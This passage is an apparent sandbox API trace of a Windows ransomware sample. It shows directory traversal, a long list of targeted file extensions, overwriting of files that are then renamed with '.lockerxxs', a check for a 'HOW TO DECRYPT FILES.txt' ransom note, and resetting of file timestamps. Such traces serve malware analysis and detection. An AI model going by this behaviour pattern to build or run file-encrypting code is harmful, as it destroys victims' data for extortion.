Shared\\OfficeSoftwareProtectionPlatform\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" [0058.516] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\") returned="" [0058.516] FindNextFileA (in: hFindFile=0x4f81c8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0058.517] FindClose (in: hFindFile=0x4f81c8 | out: hFindFile=0x4f81c8) returned 1 [0058.517] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="PROOF", cAlternateFileName="")) returned 1 [0058.517] lstrcmpA (lpString1=".", lpString2="PROOF") returned -1 [0058.517] lstrcmpA (lpString1="..", lpString2="PROOF") returned -1 [0058.517] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.517] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0054, dwReserved1=0x440020, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.520] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.520] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x440000, cFileName="..", cAlternateFileName="")) returned 1 [0058.520] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.520] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.520] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0058.521] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*") returned="*.*" [0058.521] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0058.521] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="" [0058.524] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.524] CloseHandle (hObject=0x8c) returned 1 [0058.525] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x4f8428, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0058.525] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned="MSLID.DLL" [0058.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0058.525] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="" [0058.525] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0058.525] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned="MSWDS_EN.LEX" [0058.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0058.525] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="" [0058.525] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0058.525] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX") returned="MSWDS_ES.LEX" [0058.525] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" [0058.525] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\") returned="" [0058.526] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0058.526] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.526] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0058.526] lstrcmpA (lpString1=".", lpString2="Smart Tag") returned -1 [0058.526] lstrcmpA (lpString1="..", lpString2="Smart Tag") returned -1 [0058.526] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0058.526] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81a0 [0058.529] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.529] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.529] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.529] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.529] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0058.529] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0058.529] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0058.529] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*") returned="*.*" [0058.529] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.530] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.530] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.530] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.530] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.530] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0058.530] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*") returned="*.*" [0058.531] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" [0058.531] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="" [0058.534] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.534] CloseHandle (hObject=0x90) returned 1 [0058.538] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned="MCABOUT.HTM" [0058.538] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0058.538] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2ca1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2ca1, lpOverlapped=0x0) returned 1 [0058.538] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.539] CloseHandle (hObject=0x90) returned 1 [0058.540] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.lockerxxs")) returned 1 [0058.541] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0058.541] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="STINTL.DLL") returned -1 [0058.541] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="STINTL.DLL") returned -1 [0058.541] lstrcmpiA (lpString1="", lpString2="STINTL.DLL") returned -1 [0058.541] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned="MCABOUT.HTM" [0058.541] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" [0058.541] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\") returned="" [0058.541] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\how to decrypt files.txt")) returned 0x20 [0058.541] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", lpString2="STINTL.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.ems") returned 0 [0058.542] lstrlenA (lpString="*.ems") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.db") returned 0 [0058.542] lstrlenA (lpString="*.db") returned 4 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.dbf") returned 0 [0058.542] lstrlenA (lpString="*.dbf") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.myox") returned 0 [0058.542] lstrlenA (lpString="*.myox") returned 6 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.myo") returned 0 [0058.542] lstrlenA (lpString="*.myo") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbw") returned 0 [0058.542] lstrlenA (lpString="*.qbw") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbb") returned 0 [0058.542] lstrlenA (lpString="*.qbb") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbm") returned 0 [0058.542] lstrlenA (lpString="*.qbm") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbo") returned 0 [0058.542] lstrlenA (lpString="*.qbo") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbx") returned 0 [0058.542] lstrlenA (lpString="*.qbx") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qba") returned 0 [0058.542] lstrlenA (lpString="*.qba") returned 5 [0058.542] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qby") returned 0 [0058.542] lstrlenA (lpString="*.qby") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qbj") returned 0 [0058.543] lstrlenA (lpString="*.qbj") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.ofx") returned 0 [0058.543] lstrlenA (lpString="*.ofx") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.qif") returned 0 [0058.543] lstrlenA (lpString="*.qif") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mye") returned 0 [0058.543] lstrlenA (lpString="*.mye") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mbox") returned 0 [0058.543] lstrlenA (lpString="*.mbox") returned 6 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.eml") returned 0 [0058.543] lstrlenA (lpString="*.eml") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.pst") returned 0 [0058.543] lstrlenA (lpString="*.pst") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.ost") returned 0 [0058.543] lstrlenA (lpString="*.ost") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.idx") returned 0 [0058.543] lstrlenA (lpString="*.idx") returned 5 [0058.543] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.dbx") returned 0 [0058.544] lstrlenA (lpString="*.dbx") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.sql") returned 0 [0058.544] lstrlenA (lpString="*.sql") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mdb") returned 0 [0058.544] lstrlenA (lpString="*.mdb") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.fdb") returned 0 [0058.544] lstrlenA (lpString="*.fdb") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.wab") returned 0 [0058.544] lstrlenA (lpString="*.wab") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.dat") returned 0 [0058.544] lstrlenA (lpString="*.dat") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.txt") returned 0 [0058.544] lstrlenA (lpString="*.txt") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.jpeg") returned 0 [0058.544] lstrlenA (lpString="*.jpeg") returned 6 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.jpg") returned 0 [0058.544] lstrlenA (lpString="*.jpg") returned 5 [0058.544] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.png") returned 0 [0058.545] lstrlenA (lpString="*.png") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.php") returned 0 [0058.545] lstrlenA (lpString="*.php") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.cs") returned 0 [0058.545] lstrlenA (lpString="*.cs") returned 4 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.cpp") returned 0 [0058.545] lstrlenA (lpString="*.cpp") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.rar") returned 0 [0058.545] lstrlenA (lpString="*.rar") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.zip") returned 0 [0058.545] lstrlenA (lpString="*.zip") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.html") returned 0 [0058.545] lstrlenA (lpString="*.html") returned 6 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.htm") returned 0 [0058.545] lstrlenA (lpString="*.htm") returned 5 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.xlsx") returned 0 [0058.545] lstrlenA (lpString="*.xlsx") returned 6 [0058.545] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.xls") returned 0 [0058.545] lstrlenA (lpString="*.xls") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.mp4") returned 0 [0058.546] lstrlenA (lpString="*.mp4") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.ppt") returned 0 [0058.546] lstrlenA (lpString="*.ppt") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.pptx") returned 0 [0058.546] lstrlenA (lpString="*.pptx") returned 6 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.doc") returned 0 [0058.546] lstrlenA (lpString="*.doc") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.dot") returned 0 [0058.546] lstrlenA (lpString="*.dot") returned 5 [0058.546] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL", pszSpec="*.docx") returned 0 [0058.546] lstrlenA 